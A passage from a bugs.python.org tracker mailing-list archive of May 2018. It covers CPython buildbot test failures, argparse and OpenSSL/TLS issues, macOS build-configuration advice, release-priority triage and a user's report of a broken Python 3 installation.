02:15:59 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527128159.37.0.682650639539.issue32374@psf.upfronthosting.co.za> STINNER Victor added the comment: MultiPhaseExtensionModuleTests.test_bad_traverse() of Lib/test/test_importlib/extension/test_loader.py does create a coredump file. The script run by the test trigger a segfault. Is it deliberate? See bpo-33629 and my PR 7090. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:16:20 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 02:16:20 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527128180.39.0.682650639539.issue33629@psf.upfronthosting.co.za> STINNER Victor added the comment: The test creating the coredump has been added by bpo-32374. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:18:17 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 24 May 2018 02:18:17 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext In-Reply-To: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> Message-ID: <1527128297.96.0.682650639539.issue33628@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 8506016f904ba6bc27bf5261f27a0bdd5945cd26 by Terry Jan Reedy (Cheryl Sabella) in branch 'master': bpo-33628: IDLE: Minor code cleanup of codecontext.py and its tests (GH-7085) https://github.com/python/cpython/commit/8506016f904ba6bc27bf5261f27a0bdd5945cd26 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:18:53 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 02:18:53 +0000 Subject: [issue33630] test_posix: TestPosixSpawn fails on PPC64 Fedora 3.x Message-ID: <1527128333.92.0.682650639539.issue33630@psf.upfronthosting.co.za> New submission from STINNER Victor : http://buildbot.python.org/all/#/builders/53/builds/1062 (...) test_close_file (test.test_posix.TestPosixSpawn) ... ok test_dup2 (test.test_posix.TestPosixSpawn) ... ok test_empty_file_actions (test.test_posix.TestPosixSpawn) ... ok test_multiple_file_actions (test.test_posix.TestPosixSpawn) ... FAIL test_no_such_executable (test.test_posix.TestPosixSpawn) ... ok test_open_file (test.test_posix.TestPosixSpawn) ... ERROR test_returns_pid (test.test_posix.TestPosixSpawn) ... ok Warning -- files was modified by test_posix Before: [] After: ['\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb\udcdb'] test test_posix failed test_specify_environment (test.test_posix.TestPosixSpawn) ... ok ====================================================================== ERROR: test_open_file (test.test_posix.TestPosixSpawn) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Lib/test/test_posix.py", line 1542, in test_open_file with open(outfile) as f: FileNotFoundError: [Errno 2] No such file or directory: '@test_42482_tmp' ====================================================================== FAIL: test_multiple_file_actions (test.test_posix.TestPosixSpawn) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Lib/test/test_posix.py", line 1488, in test_multiple_file_actions self.assertEqual(os.waitpid(pid, 0), (pid, 0)) AssertionError: Tuples differ: (31319, 32512) != (31319, 0) First differing element 1: 32512 0 - (31319, 32512) ? ^^^^^ + (31319, 0) ? ^ ---------------------------------------------------------------------- Ran 101 tests in 2.175s FAILED (failures=1, errors=1, skipped=9) 1 test failed again: test_posix ---------- components: Tests messages: 317509 nosy: vstinner priority: normal severity: normal status: open title: test_posix: TestPosixSpawn fails on PPC64 Fedora 3.x versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:19:24 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 02:19:24 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext In-Reply-To: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> Message-ID: <1527128364.14.0.682650639539.issue33628@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6727 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:19:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 02:19:59 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1527128399.64.0.682650639539.issue20104@psf.upfronthosting.co.za> STINNER Victor added the comment: Tests fail on PPC64 Fedora 3.x: bpo-33630. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:20:24 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 02:20:24 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext In-Reply-To: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> Message-ID: <1527128424.71.0.682650639539.issue33628@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6728 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:22:48 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 02:22:48 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527128568.42.0.682650639539.issue33109@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset dd7a255911f364cf521676082a89d4cac307737e by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33109: argparse subparsers are once again not required by default (GH-6919) (GH-7089) https://github.com/python/cpython/commit/dd7a255911f364cf521676082a89d4cac307737e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:22:48 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 02:22:48 +0000 Subject: [issue26510] [argparse] Add required argument to add_subparsers In-Reply-To: <1457445361.5.0.530669445668.issue26510@psf.upfronthosting.co.za> Message-ID: <1527128568.56.0.262363346258.issue26510@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset dd7a255911f364cf521676082a89d4cac307737e by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33109: argparse subparsers are once again not required by default (GH-6919) (GH-7089) https://github.com/python/cpython/commit/dd7a255911f364cf521676082a89d4cac307737e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:34:08 2018 From: report at bugs.python.org (Mariatta Wijaya) Date: Thu, 24 May 2018 02:34:08 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527129248.05.0.682650639539.issue33565@psf.upfronthosting.co.za> Mariatta Wijaya added the comment: Alexander, in the future please use gender-neutral words such as "folks" and "y'all" instead of "guys". Thanks. ---------- nosy: +Mariatta _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:34:17 2018 From: report at bugs.python.org (Mariatta Wijaya) Date: Thu, 24 May 2018 02:34:17 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527129257.34.0.682650639539.issue18307@psf.upfronthosting.co.za> Mariatta Wijaya added the comment: Vitaly, in the future please use gender-neutral words such as "folks" and "y'all" instead of "guys". Thanks. ---------- nosy: +Mariatta _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:35:03 2018 From: report at bugs.python.org (Alexander Mohr) Date: Thu, 24 May 2018 02:35:03 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527129303.54.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: of course, sorry, I meant in a gender neutral way ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:36:05 2018 From: report at bugs.python.org (Alexander Mohr) Date: Thu, 24 May 2018 02:36:05 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527129365.26.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: this is how my friends talk here, see: https://english.stackexchange.com/questions/11816/is-guy-gender-neutral ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:42:55 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 02:42:55 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527129775.63.0.682650639539.issue33109@psf.upfronthosting.co.za> Ned Deily added the comment: > Is there then no pathway for actually fixing the bug? aka how can I get `required=True` to be the default. There may very well be but, unfortunately, dealing with this newly-identified 3.x compatibility issue takes precedence for 3.7.0. In general, for cpython, all other things being equal, the status quo wins and, in this case, that means not breaking 3.6->3.7 compatibility without a good reason. The underlying problem here, IMHO, is that we are essentially an all-volunteer project and at the moment argparse does not have an active core developer to review and champion change requests. If a core developer does want to take up the existing queue of argparse issues, we *might* come to the conclusion that making another incompatible change is the overall right thing to do. But, until that happens, the least bad option is to not make things worse. How to get more core developer interest in argparse issues is a whole 'nother matter and out-of-scope for this issue. Sorry, I wish I had a better answer. Thanks, Anthony and everyone else here, for your input. ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 23:03:39 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 03:03:39 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527131019.62.0.682650639539.issue33614@psf.upfronthosting.co.za> Ned Deily added the comment: That Windows8.1 buildbot sure keeps busy with all those builders assigned to it :) Those refleaks builds take a *long* time! http://buildbot.python.org/all/#/workers/11 But I see at least one builder has made it through successfully and no longer fails in this manner: http://buildbot.python.org/all/#/builders/12/builds/892 So I think we can close this now. Thanks, everyone. ---------- priority: release blocker -> resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 23:16:43 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 03:16:43 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext In-Reply-To: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> Message-ID: <1527131803.78.0.682650639539.issue33628@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 935c81bbbca28ca23862d7ee1f79cd502e447edd by Miss Islington (bot) in branch '3.6': bpo-33628: IDLE: Minor code cleanup of codecontext.py and its tests (GH-7085) https://github.com/python/cpython/commit/935c81bbbca28ca23862d7ee1f79cd502e447edd ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 23:26:56 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 03:26:56 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext In-Reply-To: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> Message-ID: <1527132416.76.0.682650639539.issue33628@psf.upfronthosting.co.za> miss-islington added the comment: New changeset b2ab5dc72b36d074a86f2b1d91ae804e5a7210f8 by Miss Islington (bot) in branch '3.7': bpo-33628: IDLE: Minor code cleanup of codecontext.py and its tests (GH-7085) https://github.com/python/cpython/commit/b2ab5dc72b36d074a86f2b1d91ae804e5a7210f8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 23:35:40 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 03:35:40 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527132940.61.0.682650639539.issue33627@psf.upfronthosting.co.za> Ned Deily added the comment: The same intermittent failure was seen on the ARMv7 Ubuntu 3.7 builder: http://buildbot.python.org/all/#/builders/117/builds/314/steps/4/logs/stdio 0:00:36 load avg: 5.14 [ 48/415/1] test_numeric_tower crashed (Exit code -11) -- running: test_unicodedata (36 sec), test_tokenize (36 sec), test_lib2to3 (36 sec) Fatal Python error: Segmentation fault Current thread 0x400f64d0 (most recent call first): File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/test_numeric_tower.py", line 184 in test_complex File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/case.py", line 615 in run File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/case.py", line 663 in __call__ File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/suite.py", line 122 in run File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/suite.py", line 84 in __call__ File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/suite.py", line 122 in run File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/suite.py", line 84 in __call__ File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/suite.py", line 122 in run File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/suite.py", line 84 in __call__ File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/unittest/runner.py", line 176 in run File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/support/__init__.py", line 1882 in _run_suite File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/support/__init__.py", line 1972 in run_unittest File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/libregrtest/runtest.py", line 175 in test_runner File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/libregrtest/runtest.py", line 176 in runtest_inner File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/libregrtest/runtest.py", line 130 in runtest File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/libregrtest/runtest_mp.py", line 67 in run_tests_slave File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/libregrtest/main.py", line 517 in _main File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/libregrtest/main.py", line 510 in main File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/libregrtest/main.py", line 585 in main File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/regrtest.py", line 46 in _main File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/test/regrtest.py", line 50 in File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/runpy.py", line 85 in _run_code File "/ssd/buildbot/buildarea/3.7.gps-ubuntu-exynos5-armv7l/build/Lib/runpy.py", line 193 in _run_module_as_main ---------- nosy: +mark.dickinson, ned.deily title: test_numeric_tower.test_complex() crashed on x86 Ubuntu Shared 3.x -> test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots versions: +Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 23:50:15 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 03:50:15 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1527133815.83.0.682650639539.issue33355@psf.upfronthosting.co.za> Ned Deily added the comment: Update: we flubbed the first attempt at altering the Windows7 buildbot config and, at the moment, I'm waiting for the fix for that to get manually copied to the buildbot. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 23:52:14 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 24 May 2018 03:52:14 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext In-Reply-To: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> Message-ID: <1527133934.37.0.682650639539.issue33628@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 00:38:16 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 04:38:16 +0000 Subject: [issue33216] [3.5] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW In-Reply-To: <1522784543.83.0.467229070634.issue33216@psf.upfronthosting.co.za> Message-ID: <1527136696.16.0.682650639539.issue33216@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Because I don't want that this fix be missed in the next bugfix release. I think this documentation is important enough. There may be no chance to document it later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 01:12:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 05:12:11 +0000 Subject: [issue33630] test_posix: TestPosixSpawn fails on PPC64 Fedora 3.x In-Reply-To: <1527128333.92.0.682650639539.issue33630@psf.upfronthosting.co.za> Message-ID: <1527138731.26.0.682650639539.issue33630@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: What is \udcdb\udcdb\udcdb...? Looks like a corrupted memory. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 01:30:30 2018 From: report at bugs.python.org (s) Date: Thu, 24 May 2018 05:30:30 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527124843.4.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: s added the comment: Guys, First of all - thank you for accepting it and trying to fix it. I lost two days attempting to resurrect python3 on my laptop and ended up with uninstalling it and restoring python 2.7.10. I agree (and I think it is separate and well known python's problem) - there are several tools/techniques installing python and paths ARE different between OS. this is what I was observing today comparing Mac OS and CentOS 7. and as it seems to me this "complaint" about "encoding" is exactly about it - as it is such a directory on Linux and there is no such directory on Mac. In any case, whatever way it all this handled, it should not cause python to die and more importantly - something is making changes in configuration of python on the system and user is unable to use python after this error AT ALL. I had to reinstall it completely several times yesterday and today because of this. About shebangs. yes, I do have different ones (and I suspect many of us do, as python's very interesting feature of incompatibility between major versions) And after all these my attempts to fix python 3 on my laptop I ended up with total mess on the system - none of the pythons were working. So, I said - you know... I'll wait for python 3 be more mature... Perhaps that is the reason Apple is not installing more resent version and keeps 2.7.10? :) Regards, Slava On Wed, May 23, 2018 at 6:20 PM, STINNER Victor wrote: > > STINNER Victor added the comment: > > I completed the _PyCoreConfig structure to add home, > module_search_path_env, and many other options. It might help to guess how > the final configuration has been computed. I also reworked the code to > clarify when and how sys.path is computed. sys.path value (not the actual > sys.path Python list) is now computed earlier. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 01:35:11 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 05:35:11 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527140111.72.0.682650639539.issue32493@psf.upfronthosting.co.za> Ned Deily added the comment: This problem is still unresolved and causing buildbot failures. It really should be fixed before we tag 3.7.0rc1. Serhiy, could you take a look at it, please? Thanks! http://buildbot.python.org/all/#/builders/87/builds/1014/steps/4/logs/stdio ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 01:35:19 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 05:35:19 +0000 Subject: [issue33630] test_posix: TestPosixSpawn fails on PPC64 Fedora 3.x In-Reply-To: <1527128333.92.0.682650639539.issue33630@psf.upfronthosting.co.za> Message-ID: <1527140119.11.0.682650639539.issue33630@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Seems there are 2 or 3 different bugs here. Race condition, using freed memory, and maybe something other. I take this. ---------- assignee: -> serhiy.storchaka type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 01:40:46 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 05:40:46 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527140446.86.0.682650639539.issue32493@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I will be busy next few hours, but will take this issue as soon as I can. However I do not promise the result. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 01:47:40 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 05:47:40 +0000 Subject: [issue32947] Support OpenSSL 1.1.1 In-Reply-To: <1519559680.67.0.467229070634.issue32947@psf.upfronthosting.co.za> Message-ID: <1527140860.66.0.682650639539.issue32947@psf.upfronthosting.co.za> Ned Deily added the comment: Christian, I'm not sure how this issue now differs from Issue33618 (and whether it can be closed as a duplicate) but, with the delay in OpenSSL 1.1.1 and as discussed over there, full 1.1.1 support will have to wait for 3.7.1 et al so I'm removing the "deferred blocker" status. ---------- priority: deferred blocker -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 01:54:29 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 05:54:29 +0000 Subject: [issue32706] test_check_hostname() of test_ftplib started to fail randomly In-Reply-To: <1517225256.94.0.467229070634.issue32706@psf.upfronthosting.co.za> Message-ID: <1527141269.83.0.682650639539.issue32706@psf.upfronthosting.co.za> Ned Deily added the comment: Since this is just an intermittent test failure and we have lived with it this long, I think it can wait for 3.7.1 at this point. Downgrading to "critical". ---------- priority: deferred blocker -> critical _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:00:22 2018 From: report at bugs.python.org (Larry Hastings) Date: Thu, 24 May 2018 06:00:22 +0000 Subject: [issue33216] [3.5] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW In-Reply-To: <1522784543.83.0.467229070634.issue33216@psf.upfronthosting.co.za> Message-ID: <1527141622.54.0.682650639539.issue33216@psf.upfronthosting.co.za> Larry Hastings added the comment: Marking an issue as "Release Blocker" is completely inappropriate for "I'd like to see this documentation change get into the next bugfix release." Our Python Dev Guide discusses priority, here: https://devguide.python.org/triaging/#priority It says: "As a guideline, critical and above are usually reserved for crashes, serious regressions or breakage of very important APIs. Whether a bug is a release blocker for the current release schedule is decided by the release manager. Triagers may recommend this priority and should add the release manager to the nosy list. If needed, consult the release schedule and the release?s associated PEP for the release manager?s name." Please do not mark any bugs as "Release Blocker" in the future unless you are the release manager for that version. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:04:36 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 06:04:36 +0000 Subject: [issue32694] Can no longer specify OpenSSL locations with CPPFLAGS / LDFLAGS ? In-Reply-To: <1517152421.93.0.467229070634.issue32694@psf.upfronthosting.co.za> Message-ID: <1527141876.64.0.682650639539.issue32694@psf.upfronthosting.co.za> Ned Deily added the comment: At the PyCon US sprints, we looked into this and updated the Developer's Guide with suggestions for how to configure a build on macOS with either Homebrew or MacPorts for either 3.7+ or earlier. It is not an ideal solution so I want to keep this open for now and reassign to me but it should no longer be a "deferred blocker". For reference, the devguide now recomments this: (Homebrew) $ brew install openssl xz and configure python versions >= 3.7: ./configure --with-pydebug --with-openssl=$(brew --prefix openssl) or configure python versions < 3.7: $ CPPFLAGS="-I$(brew --prefix openssl)/include" \ LDFLAGS="-L$(brew --prefix openssl)/lib" \ ./configure --with-pydebug (MacPorts) $ sudo port install pkgconfig openssl xz and configure: $ CPPFLAGS="-I/opt/local/include" \ LDFLAGS="-L/opt/local/lib" \ ./configure --with-pydebug ---------- assignee: christian.heimes -> ned.deily components: +Build -Cross-Build priority: deferred blocker -> high stage: patch review -> needs patch versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:05:52 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Thu, 24 May 2018 06:05:52 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527141952.54.0.682650639539.issue33618@psf.upfronthosting.co.za> Benjamin Peterson added the comment: 2.7 is okay, too. The next release isn't for a while, so it'll have time to bake. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:12:33 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 06:12:33 +0000 Subject: [issue31453] Debian Sid/Buster: Cannot enable TLS 1.0/1.1 with PROTOCOL_TLS In-Reply-To: <1505317705.14.0.640405907228.issue31453@psf.upfronthosting.co.za> Message-ID: <1527142353.4.0.682650639539.issue31453@psf.upfronthosting.co.za> Ned Deily added the comment: Christian, ping again: can this be closed? In any case, it would not seem to be a "deferred blocker"; downgrading to "critical". Please close or update, thanks! ---------- priority: deferred blocker -> critical _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:13:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 06:13:35 +0000 Subject: [issue33216] [3.5] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW In-Reply-To: <1522784543.83.0.467229070634.issue33216@psf.upfronthosting.co.za> Message-ID: <1527142415.27.0.682650639539.issue33216@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Sorry. I have attracted your attention, and this was the only purpose of this mark. You are aware of this issue now, and the further fate of it is up to you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:28:12 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 06:28:12 +0000 Subject: [issue31368] Add os.preadv() and os.pwritev() In-Reply-To: <1504727850.0.0.983406507924.issue31368@psf.upfronthosting.co.za> Message-ID: <1527143292.53.0.682650639539.issue31368@psf.upfronthosting.co.za> Ned Deily added the comment: As far as I can tell, this issue is still open only because of the original desire to expand the original documentation. YoSTEALTH produced PR 5447 based on Victor's original doc update PR. In the meantime, the current 3.7 docs have been updated somewhat. YoSTEALTH, if you would be willing to update PR 5467 perhaps we can get it reviewed and merged and close this issue. In any case, I'm lowering the priority from "deferred blocker". ---------- priority: deferred blocker -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:37:17 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Thu, 24 May 2018 06:37:17 +0000 Subject: [issue33619] libffi detection via pkg-config is broken In-Reply-To: <1527093264.92.0.682650639539.issue33619@psf.upfronthosting.co.za> Message-ID: <1527143837.72.0.682650639539.issue33619@psf.upfronthosting.co.za> Benjamin Peterson added the comment: New changeset 03c0d2e1f272c7c6df5f6066a6abc222ff61073a by Benjamin Peterson (Chih-Hsuan Yen) in branch 'master': closes bpo-33619: Fix libffi detection by regenerating ./configure (GH-7075) https://github.com/python/cpython/commit/03c0d2e1f272c7c6df5f6066a6abc222ff61073a ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:39:11 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 06:39:11 +0000 Subject: [issue31106] os.posix_fallocate() generate exception with errno 0 In-Reply-To: <1501686186.83.0.555586832167.issue31106@psf.upfronthosting.co.za> Message-ID: <1527143950.99.0.682650639539.issue31106@psf.upfronthosting.co.za> Ned Deily added the comment: Considering we have already shipped this fix in 3.6.5, I guess we can live without a NEWS entry at this point -> closing this issue. ---------- priority: deferred blocker -> stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 02:52:48 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 06:52:48 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527144768.55.0.682650639539.issue33611@psf.upfronthosting.co.za> INADA Naoki added the comment: I feel your message is just a complaint, not issue report. You didn't report any concrete information about your environment. (e.g. How did you install Python, which bash do you use, `env` output, `which python` output, etc...) Your message made I feel bad, without any useful information. If you really want to fix your environment, you can use other place (python-list, stackoverflow, or something else). I think we can improve error message, but I don't want to keep using this issue. May I close this issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 03:09:17 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Thu, 24 May 2018 07:09:17 +0000 Subject: [issue33605] Detect accessing event loop from a different thread outside of _debug 